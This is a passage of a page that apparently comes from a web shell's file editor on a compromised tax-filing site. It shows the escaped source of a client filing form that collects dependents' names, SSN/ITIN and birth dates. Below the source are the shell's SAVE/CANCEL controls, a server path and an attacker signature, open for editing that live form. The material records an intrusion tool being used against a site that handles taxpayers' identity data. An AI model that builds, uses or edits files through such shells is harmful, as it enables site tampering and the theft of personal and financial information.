      &lt;div&gt;&lt;label&gt;Middle Name&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;dep_middle_name[]&quot;&gt;&lt;/div&gt;
      &lt;div&gt;&lt;label&gt;Last Name&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;dep_last_name[]&quot;&gt;&lt;/div&gt;
      &lt;div&gt;&lt;label&gt;SSN / ITIN&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;dep_ssn_itin[]&quot; inputmode=&quot;numeric&quot;&gt;&lt;/div&gt;
      &lt;div&gt;&lt;label&gt;Date of Birth&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;dep_dob[]&quot; class=&quot;date-picker&quot; readonly placeholder=&quot;MM/DD/YYYY&quot;&gt;&lt;/div&gt;
      &lt;div&gt;&lt;label&gt;Relationship&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;dep_relationship[]&quot;&gt;&lt;/div&gt;
    `;
    row.querySelectorAll(&#039;.date-picker&#039;).forEach(inp=&gt;inp.addEventListener(&#039;click&#039;,()=&gt;showDatepickerFor(inp)));
    return row;
  }
  addDepBtn.addEventListener(&#039;click&#039;,()=&gt;depsWrapper.appendChild(createDepRow()));
  depsWrapper.addEventListener(&#039;click&#039;,(e)=&gt;{
    if (e.target.classList.contains(&#039;dep-delete&#039;)) {
      const row=e.target.closest(&#039;.dependent-row&#039;);
      row.remove();
      if(!depsWrapper.querySelector(&#039;.dependent-row&#039;)) depsWrapper.appendChild(createDepRow());
    }
  });

  // states multi-select
  const states = [
    &quot;Alabama&quot;,&quot;Alaska&quot;,&quot;Arizona&quot;,&quot;Arkansas&quot;,&quot;California&quot;,&quot;Colorado&quot;,&quot;Connecticut&quot;,&quot;Delaware&quot;,&quot;Florida&quot;,&quot;Georgia&quot;,
    &quot;Hawaii&quot;,&quot;Idaho&quot;,&quot;Illinois&quot;,&quot;Indiana&quot;,&quot;Iowa&quot;,&quot;Kansas&quot;,&quot;Kentucky&quot;,&quot;Louisiana&quot;,&quot;Maine&quot;,&quot;Maryland&quot;,&quot;Massachusetts&quot;,
    &quot;Michigan&quot;,&quot;Minnesota&quot;,&quot;Mississippi&quot;,&quot;Missouri&quot;,&quot;Montana&quot;,&quot;Nebraska&quot;,&quot;Nevada&quot;,&quot;New Hampshire&quot;,&quot;New Jersey&quot;,
    &quot;New Mexico&quot;,&quot;New York&quot;,&quot;North Carolina&quot;,&quot;North Dakota&quot;,&quot;Ohio&quot;,&quot;Oklahoma&quot;,&quot;Oregon&quot;,&quot;Pennsylvania&quot;,&quot;Rhode Island&quot;,
    &quot;South Carolina&quot;,&quot;South Dakota&quot;,&quot;Tennessee&quot;,&quot;Texas&quot;,&quot;Utah&quot;,&quot;Vermont&quot;,&quot;Virginia&quot;,&quot;Washington&quot;,&quot;West Virginia&quot;,
    &quot;Wisconsin&quot;,&quot;Wyoming&quot;,&quot;District of Columbia&quot;
  ];
  const stateSelect = document.getElementById(&#039;stateSelect&#039;);
  const stateDisplay = document.getElementById(&#039;stateDisplay&#039;);
  const stateSearch  = document.getElementById(&#039;stateSearch&#039;);
  const stateList    = document.getElementById(&#039;stateList&#039;);
  const stateHidden  = document.getElementById(&#039;state_res_2025_json&#039;);
  let selectedStates = [];
  function renderStateList(filter=&quot;&quot;) {
    const f=filter.toLowerCase();
    const filtered = states.filter(s=&gt;s.toLowerCase().includes(f) &amp;&amp; !selectedStates.includes(s));
    if(!filtered.length){stateList.style.display=&#039;none&#039;;stateList.innerHTML=&#039;&#039;;return;}
    stateList.innerHTML = filtered.map(s=&gt;`&lt;div class=&quot;multi-select-item&quot; data-val=&quot;${s}&quot;&gt;${s}&lt;/div&gt;`).join(&#039;&#039;);
    stateList.style.display=&#039;block&#039;;
  }
  function renderStateTags() {
    stateDisplay.querySelectorAll(&#039;.tag&#039;).forEach(t=&gt;t.remove());
    selectedStates.forEach(s=&gt;{
      const tag=document.createElement(&#039;div&#039;);
      tag.className=&#039;tag&#039;;
      tag.innerHTML=`${s} &lt;button type=&quot;button&quot; data-remove=&quot;${s}&quot;&gt;&amp;times;&lt;/button&gt;`;
      stateDisplay.insertBefore(tag,stateSearch);
    });
    stateHidden.value = JSON.stringify(selectedStates);
  }
  stateSearch.addEventListener(&#039;input&#039;, e =&gt; renderStateList(e.target.value));
  stateList.addEventListener(&#039;click&#039;, e =&gt; {
    if(e.target.dataset.val){
      if(selectedStates.length&gt;=5){alert(&quot;You can select maximum 5 states.&quot;);return;}
      selectedStates.push(e.target.dataset.val);
      renderStateTags();
      stateSearch.value=&quot;&quot;;
      stateList.style.display=&#039;none&#039;;
    }
  });
  stateDisplay.addEventListener(&#039;click&#039;, e =&gt; {
    if(e.target.dataset.remove){
      selectedStates = selectedStates.filter(s=&gt;s!==e.target.dataset.remove);
      renderStateTags();
      renderStateList(stateSearch.value);
    } else {
      stateSearch.focus();
      renderStateList(stateSearch.value);
    }
  });
  document.addEventListener(&#039;click&#039;, e =&gt; {
    if(!stateSelect.contains(e.target)) stateList.style.display=&#039;none&#039;;
  });

  // custom select builder
  function buildCustomSelect(selectEl) {
    const wrapper = document.createElement(&#039;div&#039;);
    wrapper.className = &#039;custom-select-wrapper&#039;;
    const display = document.createElement(&#039;div&#039;);
    display.className = &#039;custom-select-display&#039;;
    const spanText = document.createElement(&#039;span&#039;);
    spanText.textContent = selectEl.options[selectEl.selectedIndex]?.text || &#039;-- Select --&#039;;
    const arrow = document.createElement(&#039;div&#039;);
    arrow.className = &#039;custom-select-arrow&#039;;
    display.appendChild(spanText);
    display.appendChild(arrow);

    const list = document.createElement(&#039;div&#039;);
    list.className = &#039;custom-select-list&#039;;
    Array.from(selectEl.options).forEach(opt =&gt; {
      const item = document.createElement(&#039;div&#039;);
      item.className = &#039;custom-select-item&#039;;
      item.textContent = opt.text;
      if (opt.value === selectEl.value) item.classList.add(&#039;active&#039;);
      item.dataset.value = opt.value;
      list.appendChild(item);
    });

    wrapper.appendChild(display);
    wrapper.appendChild(list);
    selectEl.insertAdjacentElement(&#039;afterend&#039;, wrapper);

    display.addEventListener(&#039;click&#039;, (e) =&gt; {
      e.stopPropagation();
      document.querySelectorAll(&#039;.custom-select-wrapper.open&#039;).forEach(w =&gt; w.classList.remove(&#039;open&#039;));
      wrapper.classList.toggle(&#039;open&#039;);
    });

    list.addEventListener(&#039;click&#039;, (e) =&gt; {
      if (!e.target.classList.contains(&#039;custom-select-item&#039;)) return;
      const val = e.target.dataset.value;
      selectEl.value = val;
      spanText.textContent = e.target.textContent;
      list.querySelectorAll(&#039;.custom-select-item&#039;).forEach(i =&gt; i.classList.remove(&#039;active&#039;));
      e.target.classList.add(&#039;active&#039;);
      wrapper.classList.remove(&#039;open&#039;);
      // dispatch change for filing rules
      selectEl.dispatchEvent(new Event(&#039;change&#039;, {bubbles:true}));
    });

    document.addEventListener(&#039;click&#039;, (e) =&gt; {
      if (!wrapper.contains(e.target)) {
        wrapper.classList.remove(&#039;open&#039;);
      }
    });
  }

  document.querySelectorAll(&#039;select[data-custom=&quot;true&quot;]&#039;).forEach(buildCustomSelect);

  filingStatusEl.addEventListener(&#039;change&#039;, applyFilingRules);

  form.addEventListener(&#039;submit&#039;, (e)=&gt;{
    if(!validateStep(currentStep)) e.preventDefault();
  });

  // init
  applyFilingRules();
  showStep(0);
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/securetaxfiles.com/client_filings_form.php'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Fsecuretaxfiles.com' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>